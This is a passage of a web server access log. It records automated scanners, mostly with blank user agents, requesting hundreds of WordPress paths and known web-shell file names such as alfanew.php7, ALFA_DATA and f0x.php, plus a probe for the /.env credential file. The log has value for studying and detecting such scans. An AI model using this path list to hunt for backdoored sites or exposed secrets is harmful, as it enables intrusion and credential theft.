/wp-apxupx.php?apx=upx HTTP/1.1" 301 795 "-" "-" 13.90.215.200 - - [05/Apr/2025:20:00:00 -0400] "GET /sim.php/wp-includes/certificates/plugins.php HTTP/1.1" 301 795 "-" "-" 13.90.215.200 - - [05/Apr/2025:20:00:01 -0400] "GET /wp-includes/css/str_replace.php HTTP/1.1" 301 795 "-" "-" 13.90.215.200 - - [05/Apr/2025:20:00:01 -0400] "GET /img/xmrlpc.php HTTP/1.1" 301 795 "-" "-" 13.90.215.200 - - [05/Apr/2025:20:00:02 -0400] "GET /wp-content/index.php HTTP/1.1" 301 795 "-" "-" 13.90.215.200 - - [05/Apr/2025:20:00:03 -0400] "GET /.well-known/acme-challenge/about.php HTTP/1.1" 301 795 "-" "-" 13.90.215.200 - - [05/Apr/2025:20:00:04 -0400] "GET /docs/cc.php HTTP/1.1" 301 795 "-" "-" 13.90.215.200 - - [05/Apr/2025:20:00:05 -0400] "GET /wp-admin/uploads HTTP/1.1" 301 795 "-" "-" 13.90.215.200 - - [05/Apr/2025:20:00:06 -0400] "GET /wp-content/themes/fswefy0o/ HTTP/1.1" 301 795 "-" "-" 13.90.215.200 - - [05/Apr/2025:20:00:08 -0400] "GET /wp-content/plugins/sdxxcfgt/ HTTP/1.1" 301 795 "-" "-" 13.90.215.200 - - [05/Apr/2025:20:00:09 -0400] "GET /wp-admin/css/ HTTP/1.1" 301 795 "-" "-" 13.90.215.200 - - [05/Apr/2025:20:00:10 -0400] "GET /wp-content/plugins/linkpreview/ HTTP/1.1" 301 795 "-" "-" 13.90.215.200 - - [05/Apr/2025:20:00:12 -0400] "GET /components/ HTTP/1.1" 301 795 "-" "-" 13.90.215.200 - - [05/Apr/2025:20:00:12 -0400] "GET /wp-content/plugins/ttsgmsw/ HTTP/1.1" 301 795 "-" "-" 13.90.215.200 - - [05/Apr/2025:20:00:13 -0400] "GET /cc.php HTTP/1.1" 301 795 "-" "-" 13.90.215.200 - - [05/Apr/2025:20:00:14 -0400] "GET /wp-content/plugins/whusrhk/ HTTP/1.1" 301 795 "-" "-" 13.90.215.200 - - [05/Apr/2025:20:00:14 -0400] "GET /f0x.php HTTP/1.1" 301 795 "-" "-" 13.90.215.200 - - [05/Apr/2025:20:00:14 -0400] "GET /components/5173e.php HTTP/1.1" 301 795 "-" "-" 13.90.215.200 - - [05/Apr/2025:20:00:15 -0400] "GET /wp-includes/mah.php999 HTTP/1.1" 301 795 "-" "-" 13.90.215.200 - - [05/Apr/2025:20:00:15 -0400] "GET /st.php HTTP/1.1" 301 795 "-" "-" 13.90.215.200 - - [05/Apr/2025:20:00:16 -0400] "GET /wp-content/uploads/--wp-lgj.php HTTP/1.1" 301 795 "-" "-" 13.90.215.200 - - [05/Apr/2025:20:00:16 -0400] "GET /vendor/ HTTP/1.1" 301 795 "-" "-" 13.90.215.200 - - [05/Apr/2025:20:00:17 -0400] "GET /atomlib.php HTTP/1.1" 301 795 "-" "-" 13.90.215.200 - - [05/Apr/2025:20:00:17 -0400] "GET /wp-content/plugins/plugins/ HTTP/1.1" 301 795 "-" "-" 13.90.215.200 - - [05/Apr/2025:20:00:17 -0400] "GET /wp-admin/images/sx.php HTTP/1.1" 301 795 "-" "-" 13.90.215.200 - - [05/Apr/2025:20:00:18 -0400] "GET /wp-admin/atomlib.php HTTP/1.1" 301 795 "-" "-" 13.90.215.200 - - [05/Apr/2025:20:00:18 -0400] "GET /images/class-config.php HTTP/1.1" 301 795 "-" "-" 13.90.215.200 - - [05/Apr/2025:20:00:18 -0400] "GET /wp-admin/user/about.php HTTP/1.1" 301 795 "-" "-" 13.90.215.200 - - [05/Apr/2025:20:00:19 -0400] "GET /wp-includes/themes.php HTTP/1.1" 301 795 "-" "-" 13.90.215.200 - - [05/Apr/2025:20:00:19 -0400] "GET /wp-content/plugins/zgtzwun/ HTTP/1.1" 301 795 "-" "-" 13.90.215.200 - - [05/Apr/2025:20:00:20 -0400] "GET /wp-admin/css/colors/coffee/cloud.php HTTP/1.1" 301 795 "-" "-" 13.90.215.200 - - [05/Apr/2025:20:00:20 -0400] "GET /class.api.php HTTP/1.1" 301 795 "-" "-" 13.90.215.200 - - [05/Apr/2025:20:00:20 -0400] "GET /google.php HTTP/1.1" 301 795 "-" "-" 13.90.215.200 - - [05/Apr/2025:20:00:20 -0400] "GET /wp-includes/class-ftps.php HTTP/1.1" 301 795 "-" "-" 13.90.215.200 - - [05/Apr/2025:20:00:21 -0400] "GET /wp-content/uploads/2018/03/equipe-background-570x536.php HTTP/1.1" 301 795 "-" "-" 13.90.215.200 - - [05/Apr/2025:20:00:21 -0400] "GET /ab.php HTTP/1.1" 301 795 "-" "-" 13.90.215.200 - - [05/Apr/2025:20:00:22 -0400] "GET /.well-known/about HTTP/1.1" 301 795 "-" "-" 13.90.215.200 - - [05/Apr/2025:20:00:22 -0400] "GET /wp-content/plugins/elementor/ HTTP/1.1" 301 795 "-" "-" 13.90.215.200 - - [05/Apr/2025:20:00:22 -0400] "GET /wp-admin/maint/maint/ajax-actions.php HTTP/1.1" 301 795 "-" "-" 13.90.215.200 - - [05/Apr/2025:20:00:23 -0400] "GET /wikindex.php HTTP/1.1" 301 795 "-" "-" 13.90.215.200 - - [05/Apr/2025:20:00:23 -0400] "GET /MARIJUANA.php HTTP/1.1" 301 795 "-" "-" 13.90.215.200 - - [05/Apr/2025:20:00:23 -0400] "GET /wizard.php HTTP/1.1" 301 795 "-" "-" 13.90.215.200 - - [05/Apr/2025:20:00:23 -0400] "GET /wp-admin/js/wp-admin/js/ HTTP/1.1" 301 795 "-" "-" 13.90.215.200 - - [05/Apr/2025:20:00:24 -0400] "GET /adminfuns.php HTTP/1.1" 301 795 "-" "-" 13.90.215.200 - - [05/Apr/2025:20:00:24 -0400] "GET /images/headers/strenms.php HTTP/1.1" 301 795 "-" "-" 13.90.215.200 - - [05/Apr/2025:20:00:25 -0400] "GET /120f9.php HTTP/1.1" 301 795 "-" "-" 13.90.215.200 - - [05/Apr/2025:20:00:25 -0400] "GET /.well-known/init HTTP/1.1" 301 795 "-" "-" 13.90.215.200 - - [05/Apr/2025:20:00:25 -0400] "GET /wp-content/plugins/ImageManager/ HTTP/1.1" 301 795 "-" "-" 13.90.215.200 - - [05/Apr/2025:20:00:26 -0400] "GET /wp-content/plugins/dfgs/ HTTP/1.1" 301 795 "-" "-" 13.90.215.200 - - [05/Apr/2025:20:00:26 -0400] "GET /wp-admin/css/colors/coffee/xmrlpc.php HTTP/1.1" 301 795 "-" "-" 13.90.215.200 - - [05/Apr/2025:20:00:26 -0400] "GET /.well-known//.well-known/owlmailer.php HTTP/1.1" 301 795 "-" "-" 13.90.215.200 - - [05/Apr/2025:20:00:27 -0400] "GET /.well-known/pki-validation/autoload_classmap.php HTTP/1.1" 301 795 "-" "-" 13.90.215.200 - - [05/Apr/2025:20:00:27 -0400] "GET /wp-includes/sodium_compat/src/Core/Curve25519/Ge/info.php.suspected HTTP/1.1" 301 795 "-" "-" 13.90.215.200 - - [05/Apr/2025:20:00:27 -0400] "GET /config_load.php HTTP/1.1" 301 795 "-" "-" 13.90.215.200 - - [05/Apr/2025:20:00:28 -0400] "GET /Njima.php HTTP/1.1" 301 795 "-" "-" 13.90.215.200 - - [05/Apr/2025:20:00:28 -0400] "GET /wp-includes/agTOMuSfW6r.php HTTP/1.1" 301 795 "-" "-" 13.90.215.200 - - [05/Apr/2025:20:00:28 -0400] "GET /wp-includes.bak/html-api/ HTTP/1.1" 301 795 "-" "-" 13.90.215.200 - - [05/Apr/2025:20:00:29 -0400] "GET /wp-content/themes/wp-classic/inc/ HTTP/1.1" 301 795 "-" "-" 13.90.215.200 - - [05/Apr/2025:20:00:29 -0400] "GET /wp-admin/css/colors/blue/xmrlpc.php HTTP/1.1" 301 795 "-" "-" 13.90.215.200 - - [05/Apr/2025:20:00:29 -0400] "GET /cjfuns.php HTTP/1.1" 301 795 "-" "-" 13.90.215.200 - - [05/Apr/2025:20:00:30 -0400] "GET /role.php HTTP/1.1" 301 795 "-" "-" 13.90.215.200 - - [05/Apr/2025:20:00:30 -0400] "GET /wp-content/themes/phocsqfz/ HTTP/1.1" 301 795 "-" "-" 13.90.215.200 - - [05/Apr/2025:20:00:30 -0400] "GET /wp-admin/css/colors/blue/blkdimxx.php HTTP/1.1" 301 795 "-" "-" 13.90.215.200 - - [05/Apr/2025:20:00:31 -0400] "GET /user-edit.php HTTP/1.1" 301 795 "-" "-" 13.90.215.200 - - [05/Apr/2025:20:00:31 -0400] "GET /wp-includes/Text/Diff/Engine/ftp_rmdir.php HTTP/1.1" 301 795 "-" "-" 13.90.215.200 - - [05/Apr/2025:20:00:32 -0400] "GET /wp-content/themes/wp-classic/inc/index.php HTTP/1.1" 301 795 "-" "-" 13.90.215.200 - - [05/Apr/2025:20:00:32 -0400] "GET /wp-admin/js/privacy-tools.min.php HTTP/1.1" 301 795 "-" "-" 216.244.66.236 - - [05/Apr/2025:21:04:37 -0400] "GET /robots.txt HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible; DotBot/1.2; +https://opensiteexplorer.org/dotbot; help@moz.com)" 161.35.36.143 - - [05/Apr/2025:21:12:26 -0400] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible)" 52.169.14.59 - - [05/Apr/2025:21:17:04 -0400] "GET /wp-content/uploads/ HTTP/1.1" 301 795 "-" "-" 52.169.14.59 - - [05/Apr/2025:21:17:04 -0400] "GET /wp-includes/ HTTP/1.1" 301 795 "-" "-" 52.169.14.59 - - [05/Apr/2025:21:17:05 -0400] "GET /wp-includes/css/ HTTP/1.1" 301 795 "-" "-" 52.169.14.59 - - [05/Apr/2025:21:17:06 -0400] "GET /wp-includes/ID3/ HTTP/1.1" 301 795 "-" "-" 52.169.14.59 - - [05/Apr/2025:21:17:06 -0400] "GET /wp-includes/IXR/ HTTP/1.1" 301 795 "-" "-" 52.169.14.59 - - [05/Apr/2025:21:17:07 -0400] "GET /wp-includes/Requests/ HTTP/1.1" 301 795 "-" "-" 52.169.14.59 - - [05/Apr/2025:21:17:07 -0400] "GET /wp-includes/SimplePie/ HTTP/1.1" 301 795 "-" "-" 52.169.14.59 - - [05/Apr/2025:21:17:08 -0400] "GET /wp-includes/Text/ HTTP/1.1" 301 795 "-" "-" 52.169.14.59 - - [05/Apr/2025:21:17:08 -0400] "GET /wp-content/mu-plugins-old/ HTTP/1.1" 301 795 "-" "-" 52.169.14.59 - - [05/Apr/2025:21:17:09 -0400] "GET /wp-content/themes/classic/inc/ HTTP/1.1" 301 795 "-" "-" 52.169.14.59 - - [05/Apr/2025:21:17:10 -0400] "GET /wp-content/plugins/ninja-forms/ HTTP/1.1" 301 795 "-" "-" 52.169.14.59 - - [05/Apr/2025:21:17:12 -0400] "GET /wp-content/mu-plugins/ HTTP/1.1" 301 795 "-" "-" 52.169.14.59 - - [05/Apr/2025:21:17:13 -0400] "GET /wp-includes/Text/Diff/Renderer/ HTTP/1.1" 301 795 "-" "-" 52.169.14.59 - - [05/Apr/2025:21:17:13 -0400] "GET /wp-includes/blocks/ HTTP/1.1" 301 795 "-" "-" 52.169.14.59 - - [05/Apr/2025:21:17:14 -0400] "GET /wp-includes/certificates/ HTTP/1.1" 301 795 "-" "-" 52.169.14.59 - - [05/Apr/2025:21:17:14 -0400] "GET /wp-includes/customize/ HTTP/1.1" 301 795 "-" "-" 52.169.14.59 - - [05/Apr/2025:21:17:14 -0400] "GET /wp-includes/fonts/ HTTP/1.1" 301 795 "-" "-" 52.169.14.59 - - [05/Apr/2025:21:17:15 -0400] "GET /wp-includes/images/ HTTP/1.1" 301 795 "-" "-" 52.169.14.59 - - [05/Apr/2025:21:17:15 -0400] "GET /.well-known/ HTTP/1.1" 301 795 "-" "-" 52.169.14.59 - - [05/Apr/2025:21:17:16 -0400] "GET /ALFA_DATA/ HTTP/1.1" 301 795 "-" "-" 52.169.14.59 - - [05/Apr/2025:21:17:16 -0400] "GET /.well-known/old/ HTTP/1.1" 301 795 "-" "-" 52.169.14.59 - - [05/Apr/2025:21:17:17 -0400] "GET /.well-known/acme-challenge/ HTTP/1.1" 301 795 "-" "-" 52.169.14.59 - - [05/Apr/2025:21:17:18 -0400] "GET /.well-known/ HTTP/1.1" 301 795 "-" "-" 52.169.14.59 - - [05/Apr/2025:21:17:18 -0400] "GET /cgi-bin/ HTTP/1.1" 301 795 "-" "-" 52.169.14.59 - - [05/Apr/2025:21:17:19 -0400] "GET /ALFA_DATA/ HTTP/1.1" 301 795 "-" "-" 52.169.14.59 - - [05/Apr/2025:21:17:19 -0400] "GET /.well-knownold/ HTTP/1.1" 301 795 "-" "-" 52.169.14.59 - - [05/Apr/2025:21:17:20 -0400] "GET /.well-known/acme-challenge/ HTTP/1.1" 301 795 "-" "-" 52.169.14.59 - - [05/Apr/2025:21:17:20 -0400] "GET /.well-known/ HTTP/1.1" 301 795 "-" "-" 52.169.14.59 - - [05/Apr/2025:21:17:21 -0400] "GET /uploads/ HTTP/1.1" 301 795 "-" "-" 52.169.14.59 - - [05/Apr/2025:21:17:22 -0400] "GET /upload/ HTTP/1.1" 301 795 "-" "-" 52.169.14.59 - - [05/Apr/2025:21:17:23 -0400] "GET /admin/uploads/ HTTP/1.1" 301 795 "-" "-" 52.169.14.59 - - [05/Apr/2025:21:17:24 -0400] "GET /Admin/uploads/ HTTP/1.1" 301 795 "-" "-" 52.169.14.59 - - [05/Apr/2025:21:17:25 -0400] "GET /admin/ HTTP/1.1" 301 795 "-" "-" 52.169.14.59 - - [05/Apr/2025:21:17:26 -0400] "GET /images/ HTTP/1.1" 301 795 "-" "-" 52.169.14.59 - - [05/Apr/2025:21:17:27 -0400] "GET /assets/ HTTP/1.1" 301 795 "-" "-" 52.169.14.59 - - [05/Apr/2025:21:17:28 -0400] "GET /vendor/phpunit/phpunit/src/Util/PHP/ HTTP/1.1" 301 795 "-" "-" 52.169.14.59 - - [05/Apr/2025:21:17:28 -0400] "GET /upload/image/ HTTP/1.1" 301 795 "-" "-" 52.169.14.59 - - [05/Apr/2025:21:17:29 -0400] "GET /assets/images/ HTTP/1.1" 301 795 "-" "-" 52.169.14.59 - - [05/Apr/2025:21:17:29 -0400] "GET /Public/ HTTP/1.1" 301 795 "-" "-" 52.169.14.59 - - [05/Apr/2025:21:17:30 -0400] "GET /vendor/ HTTP/1.1" 301 795 "-" "-" 52.169.14.59 - - [05/Apr/2025:21:17:31 -0400] "GET /local/ HTTP/1.1" 301 795 "-" "-" 52.169.14.59 - - [05/Apr/2025:21:17:32 -0400] "GET /modules/ HTTP/1.1" 301 795 "-" "-" 52.169.14.59 - - [05/Apr/2025:21:17:33 -0400] "GET /Site/ HTTP/1.1" 301 795 "-" "-" 52.169.14.59 - - [05/Apr/2025:21:17:33 -0400] "GET /system/ HTTP/1.1" 301 795 "-" "-" 52.169.14.59 - - [05/Apr/2025:21:17:35 -0400] "GET /template/ HTTP/1.1" 301 795 "-" "-" 52.169.14.59 - - [05/Apr/2025:21:17:35 -0400] "GET /shop/ HTTP/1.1" 301 795 "-" "-" 52.169.14.59 - - [05/Apr/2025:21:17:36 -0400] "GET /files/ HTTP/1.1" 301 795 "-" "-" 52.169.14.59 - - [05/Apr/2025:21:17:37 -0400] "GET /admin/editor/ HTTP/1.1" 301 795 "-" "-" 52.169.14.59 - - [05/Apr/2025:21:17:37 -0400] "GET /include/ HTTP/1.1" 301 795 "-" "-" 52.169.14.59 - - [05/Apr/2025:21:17:38 -0400] "GET /Assets/ HTTP/1.1" 301 795 "-" "-" 52.169.14.59 - - [05/Apr/2025:21:17:38 -0400] "GET /images/stories/ HTTP/1.1" 301 795 "-" "-" 52.169.14.59 - - [05/Apr/2025:21:17:39 -0400] "GET /plugins/ HTTP/1.1" 301 795 "-" "-" 52.169.14.59 - - [05/Apr/2025:21:17:40 -0400] "GET /php/ HTTP/1.1" 301 795 "-" "-" 52.169.14.59 - - [05/Apr/2025:21:17:40 -0400] "GET /wp-includes/assets/ HTTP/1.1" 301 795 "-" "-" 52.169.14.59 - - [05/Apr/2025:21:17:41 -0400] "GET /wp-includes/Text/Diff/Engine/ HTTP/1.1" 301 795 "-" "-" 52.169.14.59 - - [05/Apr/2025:21:17:41 -0400] "GET /wp-includes/block-patterns/ HTTP/1.1" 301 795 "-" "-" 52.169.14.59 - - [05/Apr/2025:21:17:41 -0400] "GET /wp-includes/Text/Diff/ HTTP/1.1" 301 795 "-" "-" 52.169.14.59 - - [05/Apr/2025:21:17:42 -0400] "GET /wp-includes/block-supports/ HTTP/1.1" 301 795 "-" "-" 52.169.14.59 - - [05/Apr/2025:21:17:42 -0400] "GET /wp-includes/blocks/ HTTP/1.1" 301 795 "-" "-" 52.169.14.59 - - [05/Apr/2025:21:17:42 -0400] "GET /wp-includes/certificates/ HTTP/1.1" 301 795 "-" "-" 52.169.14.59 - - [05/Apr/2025:21:17:43 -0400] "GET /wp-includes/SimplePie/Cache/ HTTP/1.1" 301 795 "-" "-" 52.169.14.59 - - [05/Apr/2025:21:17:44 -0400] "GET /wp-includes/SimplePie/Content/Type/ HTTP/1.1" 301 795 "-" "-" 52.169.14.59 - - [05/Apr/2025:21:17:44 -0400] "GET /wp-includes/css/ HTTP/1.1" 301 795 "-" "-" 52.169.14.59 - - [05/Apr/2025:21:17:44 -0400] "GET /wp-includes/SimplePie/Content/ HTTP/1.1" 301 795 "-" "-" 52.169.14.59 - - [05/Apr/2025:21:17:45 -0400] "GET /wp-includes/rest-api/endpoints/ HTTP/1.1" 301 795 "-" "-" 52.169.14.59 - - [05/Apr/2025:21:17:45 -0400] "GET /wp-includes/rest-api/fields/ HTTP/1.1" 301 795 "-" "-" 52.169.14.59 - - [05/Apr/2025:21:17:46 -0400] "GET /wp-includes/Requests/Cookie/ HTTP/1.1" 301 795 "-" "-" 52.169.14.59 - - [05/Apr/2025:21:17:46 -0400] "GET /wp-includes/Requests/Proxy/ HTTP/1.1" 301 795 "-" "-" 52.169.14.59 - - [05/Apr/2025:21:17:47 -0400] "GET /wp-includes/Requests/Response/ HTTP/1.1" 301 795 "-" "-" 52.169.14.59 - - [05/Apr/2025:21:17:48 -0400] "GET /wp-includes/Requests/Transport/ HTTP/1.1" 301 795 "-" "-" 52.169.14.59 - - [05/Apr/2025:21:17:49 -0400] "GET /wp-includes/Requests/Utility/ HTTP/1.1" 301 795 "-" "-" 52.169.14.59 - - [05/Apr/2025:21:17:49 -0400] "GET /wp-includes/js/codemirror/ HTTP/1.1" 301 795 "-" "-" 52.169.14.59 - - [05/Apr/2025:21:17:50 -0400] "GET /wp-includes/Requests/Exception/HTTP/ HTTP/1.1" 301 795 "-" "-" 52.169.14.59 - - [05/Apr/2025:21:17:50 -0400] "GET /wp-includes/js/crop/ HTTP/1.1" 301 795 "-" "-" 52.169.14.59 - - [05/Apr/2025:21:17:51 -0400] "GET /wp-includes/images/crystal/ HTTP/1.1" 301 795 "-" "-" 52.169.14.59 - - [05/Apr/2025:21:17:51 -0400] "GET /wp-includes/images/media/ HTTP/1.1" 301 795 "-" "-" 52.169.14.59 - - [05/Apr/2025:21:17:52 -0400] "GET /wp-includes/images/smilies/ HTTP/1.1" 301 795 "-" "-" 52.169.14.59 - - [05/Apr/2025:21:17:52 -0400] "GET /wp-includes/images/wlw/ HTTP/1.1" 301 795 "-" "-" 52.169.14.59 - - [05/Apr/2025:21:17:53 -0400] "GET /wp-includes/rest-api/search/ HTTP/1.1" 301 795 "-" "-" 52.169.14.59 - - [05/Apr/2025:21:17:53 -0400] "GET /wp-includes/Requests/Exception/ HTTP/1.1" 301 795 "-" "-" 52.169.14.59 - - [05/Apr/2025:21:17:54 -0400] "GET /wp-includes/Requests/Auth/ HTTP/1.1" 301 795 "-" "-" 52.169.14.59 - - [05/Apr/2025:21:17:54 -0400] "GET /wp-includes/sodium_compat/src/ HTTP/1.1" 301 795 "-" "-" 52.169.14.59 - - [05/Apr/2025:21:17:55 -0400] "GET /wp-includes/sitemaps/providers/ HTTP/1.1" 301 795 "-" "-" 52.169.14.59 - - [05/Apr/2025:21:17:55 -0400] "GET /wp-includes/Text/Diff/Engine/Engine/ HTTP/1.1" 301 795 "-" "-" 52.169.14.59 - - [05/Apr/2025:21:17:57 -0400] "GET /wp-includes/customize/ HTTP/1.1" 301 795 "-" "-" 52.169.14.59 - - [05/Apr/2025:21:17:57 -0400] "GET /wp-includes/fonts/ HTTP/1.1" 301 795 "-" "-" 52.169.14.59 - - [05/Apr/2025:21:17:58 -0400] "GET /wp-includes/html-api/ HTTP/1.1" 301 795 "-" "-" 52.169.14.59 - - [05/Apr/2025:21:17:58 -0400] "GET /wp-includes/ID3/ HTTP/1.1" 301 795 "-" "-" 52.169.14.59 - - [05/Apr/2025:21:17:58 -0400] "GET /wp-includes/images/ HTTP/1.1" 301 795 "-" "-" 52.169.14.59 - - [05/Apr/2025:21:17:59 -0400] "GET /wp-includes/IXR/ HTTP/1.1" 301 795 "-" "-" 52.169.14.59 - - [05/Apr/2025:21:17:59 -0400] "GET /wp-includes/js/ HTTP/1.1" 301 795 "-" "-" 52.169.14.59 - - [05/Apr/2025:21:17:59 -0400] "GET /wp-includes/php-compat/ HTTP/1.1" 301 795 "-" "-" 52.169.14.59 - - [05/Apr/2025:21:18:00 -0400] "GET /wp-includes/PHPMailer/ HTTP/1.1" 301 795 "-" "-" 52.169.14.59 - - [05/Apr/2025:21:18:00 -0400] "GET /wp-includes/pomo/ HTTP/1.1" 301 795 "-" "-" 52.169.14.59 - - [05/Apr/2025:21:18:01 -0400] "GET /wp-includes/random_compat/ HTTP/1.1" 301 795 "-" "-" 52.169.14.59 - - [05/Apr/2025:21:18:01 -0400] "GET /wp-includes/Requests/ HTTP/1.1" 301 795 "-" "-" 52.169.14.59 - - [05/Apr/2025:21:18:01 -0400] "GET /wp-includes/rest-api/ HTTP/1.1" 301 795 "-" "-" 52.169.14.59 - - [05/Apr/2025:21:18:02 -0400] "GET /wp-includes/SimplePie/ HTTP/1.1" 301 795 "-" "-" 52.169.14.59 - - [05/Apr/2025:21:18:02 -0400] "GET /wp-includes/sitemaps/ HTTP/1.1" 301 795 "-" "-" 52.169.14.59 - - [05/Apr/2025:21:18:03 -0400] "GET /wp-includes/sodium_compat/ HTTP/1.1" 301 795 "-" "-" 52.169.14.59 - - [05/Apr/2025:21:18:03 -0400] "GET /wp-includes/style-engine/ HTTP/1.1" 301 795 "-" "-" 52.169.14.59 - - [05/Apr/2025:21:18:03 -0400] "GET /wp-includes/Text/ HTTP/1.1" 301 795 "-" "-" 52.169.14.59 - - [05/Apr/2025:21:18:04 -0400] "GET /wp-includes/theme-compat/ HTTP/1.1" 301 795 "-" "-" 52.169.14.59 - - [05/Apr/2025:21:18:04 -0400] "GET /wp-includes/widgets/ HTTP/1.1" 301 795 "-" "-" 52.169.14.59 - - [05/Apr/2025:21:18:05 -0400] "GET /wp-admin/css/colors/ectoplasm/ HTTP/1.1" 301 795 "-" "-" 52.169.14.59 - - [05/Apr/2025:21:18:05 -0400] "GET /wp-admin/css/colors/ HTTP/1.1" 301 795 "-" "-" 52.169.14.59 - - [05/Apr/2025:21:18:05 -0400] "GET /admin/images/slider/ HTTP/1.1" 301 795 "-" "-" 52.169.14.59 - - [05/Apr/2025:21:18:06 -0400] "GET /admin/fckeditor/editor/filemanager/ HTTP/1.1" 301 795 "-" "-" 52.169.14.59 - - [05/Apr/2025:21:18:06 -0400] "GET /sites/default/files/ HTTP/1.1" 301 795 "-" "-" 52.169.14.59 - - [05/Apr/2025:21:18:07 -0400] "GET /admin/controller/extension/extension/ HTTP/1.1" 301 795 "-" "-" 52.169.14.59 - - [05/Apr/2025:21:18:08 -0400] "GET /modules/mod_simplefileuploadv1.3/elements/ HTTP/1.1" 301 795 "-" "-" 52.169.14.59 - - [05/Apr/2025:21:18:08 -0400] "GET /components/ HTTP/1.1" 301 795 "-" "-" 52.169.14.59 - - [05/Apr/2025:21:18:09 -0400] "GET /admin/uploads/images/ HTTP/1.1" 301 795 "-" "-" 52.169.14.59 - - [05/Apr/2025:21:18:09 -0400] "GET /wp-includes/js/ HTTP/1.1" 301 795 "-" "-" 52.169.14.59 - - [05/Apr/2025:21:18:10 -0400] "GET /wp-includes/pomo/ HTTP/1.1" 301 795 "-" "-" 52.169.14.59 - - [05/Apr/2025:21:18:10 -0400] "GET /wp-includes/rest-api/ HTTP/1.1" 301 795 "-" "-" 52.169.14.59 - - [05/Apr/2025:21:18:10 -0400] "GET /wp-includes/widgets/ HTTP/1.1" 301 795 "-" "-" 52.169.14.59 - - [05/Apr/2025:21:18:11 -0400] "GET /wp-admin/css/ HTTP/1.1" 301 795 "-" "-" 52.169.14.59 - - [05/Apr/2025:21:18:11 -0400] "GET /wp-admin/images/ HTTP/1.1" 301 795 "-" "-" 52.169.14.59 - - [05/Apr/2025:21:18:12 -0400] "GET /wp-admin/maint/ HTTP/1.1" 301 795 "-" "-" 52.169.14.59 - - [05/Apr/2025:21:18:12 -0400] "GET /wp-admin/meta/ HTTP/1.1" 301 795 "-" "-" 52.169.14.59 - - [05/Apr/2025:21:18:13 -0400] "GET /wp-admin/network/ HTTP/1.1" 301 795 "-" "-" 52.169.14.59 - - [05/Apr/2025:21:18:13 -0400] "GET /wp-admin/user/ HTTP/1.1" 301 795 "-" "-" 52.169.14.59 - - [05/Apr/2025:21:18:14 -0400] "GET /wp-content/ HTTP/1.1" 301 795 "-" "-" 52.169.14.59 - - [05/Apr/2025:21:18:15 -0400] "GET /wp-content/plugins/ HTTP/1.1" 301 795 "-" "-" 52.169.14.59 - - [05/Apr/2025:21:18:15 -0400] "GET /wp-content/themes/ HTTP/1.1" 301 795 "-" "-" 52.169.14.59 - - [05/Apr/2025:21:18:15 -0400] "GET /wp-admin/includes/ HTTP/1.1" 301 795 "-" "-" 52.169.14.59 - - [05/Apr/2025:21:18:16 -0400] "GET /wp-admin/ HTTP/1.1" 301 795 "-" "-" 52.169.14.59 - - [05/Apr/2025:21:18:16 -0400] "GET /wp-content/upgrade/ HTTP/1.1" 301 795 "-" "-" 84.239.48.143 - - [05/Apr/2025:21:27:48 -0400] "GET /.env HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:77.0) Gecko/20100101 Firefox/77.0" 13.82.176.166 - - [05/Apr/2025:21:38:36 -0400] "GET /wp-includes/pomo/fgertreyersd.php.suspected HTTP/1.1" 301 795 "-" "-" 13.82.176.166 - - [05/Apr/2025:21:38:42 -0400] "GET /wp-admin/images/system.php HTTP/1.1" 301 795 "-" "-" 13.82.176.166 - - [05/Apr/2025:21:38:43 -0400] "GET /wp-includes/IXR/themes.php HTTP/1.1" 301 795 "-" "-" 13.82.176.166 - - [05/Apr/2025:21:38:45 -0400] "GET /wp-content/install.php HTTP/1.1" 301 795 "-" "-" 13.82.176.166 - - [05/Apr/2025:21:38:46 -0400] "GET /wp-content/uploads/option.php HTTP/1.1" 301 795 "-" "-" 13.82.176.166 - - [05/Apr/2025:21:38:47 -0400] "GET /chosen.php HTTP/1.1" 301 795 "-" "-" 13.82.176.166 - - [05/Apr/2025:21:38:48 -0400] "GET /alfanew.php7 HTTP/1.1" 301 795 "-" "-" 13.82.176.166 - - [05/Apr/2025:21:38:48 -0400] "GET /wp-content/plugins/zxmunes/ HTTP/1.1" 301 795 "-" "-" 13.82.176.166 - - [05/Apr/2025:21:38:48 -0400] "GET /wp-includes/php-compat/ HTTP/1.1" 301 795 "-" "-" 13.82.176.166 - - [05/Apr/2025:21:38:49 -0400] "GET /modules/mod_ariimageslidersa/ HTTP/1.1" 301 795 "-" "-" 13.82.176.166 - - [05/Apr/2025:21:38:49 -0400] "GET /wp-content/blogs.dir/ HTTP/1.1" 301 795 "-" "-" 13.82.176.166 - - [05/Apr/2025:21:38:50 -0400] "GET /wp-header.php HTTP/1.1" 301 795 "-" "-" 13.82.176.166 - - [05/Apr/2025:21:38:50 -0400] "GET /css_editor.php HTTP/1.1" 301 795 "-" "-" 13.82.176.166 - - [05/Apr/2025:21:38:51 -0400] "GET /.well-known/acme-challenge/ HTTP/1.1" 301 795 "-" "-" 13.82.176.166 - - [05/Apr/2025:21:38:51 -0400] "GET /wp-includes/blocks/sx.php HTTP/1.1" 301 795 "-" "-" 13.82.176.166 - - [05/Apr/2025:21:38:52 -0400] "GET /wp-content/themes/config HTTP/1.1" 301 795 "-" "-" 13.82.176.166 - - [05/Apr/2025:21:38:52 -0400] "GET /unix.php HTTP/1.1" 301 795 "-" "-" 13.82.176.166 - - [05/Apr/2025:21:38:53 -0400] "GET /wp-includes/PHPMailer/about.php HTTP/1.1" 301 795 "-" "-" 13.82.176.166 - - [05/Apr/2025:21:38:53 -0400] "GET /index/function.php HTTP/1.1" 301 795 "-" "-" 13.82.176.166 - - [05/Apr/2025:21:38:54 -0400] "GET /wp-includes/ID3/autoload_classmap.php HTTP/1.1" 301 795 "-" "-" 13.82.176.166 - - [05/Apr/2025:21:38:54 -0400] "GET /b0.php HTTP/1.1" 301 795 "-" "-" 13.82.176.166 - - [05/Apr/2025:21:38:55 -0400] "GET /gecko.php HTTP/1.1" 301 795 "-" "-" 13.82.176.166 - - [05/Apr/2025:21:38:56 -0400] "GET /sites/default/files/ HTTP/1.1" 301 795 "-" "-" 13.82.176.166 - - [05/Apr/2025:21:38:56 -0400] "GET /fm.php HTTP/1.1" 301 795 "-" "-" 13.82.176.166 - - [05/Apr/2025:21:38:57 -0400] "GET /mail_logs.php HTTP/1.1" 301 795 "-" "-" 13.82.176.166 - - [05/Apr/2025:21:38:58 -0400] "GET /wp-includes/SimplePie/plugins.php HTTP/1.1" 301 795 "-" "-" 13.82.176.166 - - [05/Apr/2025:21:38:58 -0400] "GET 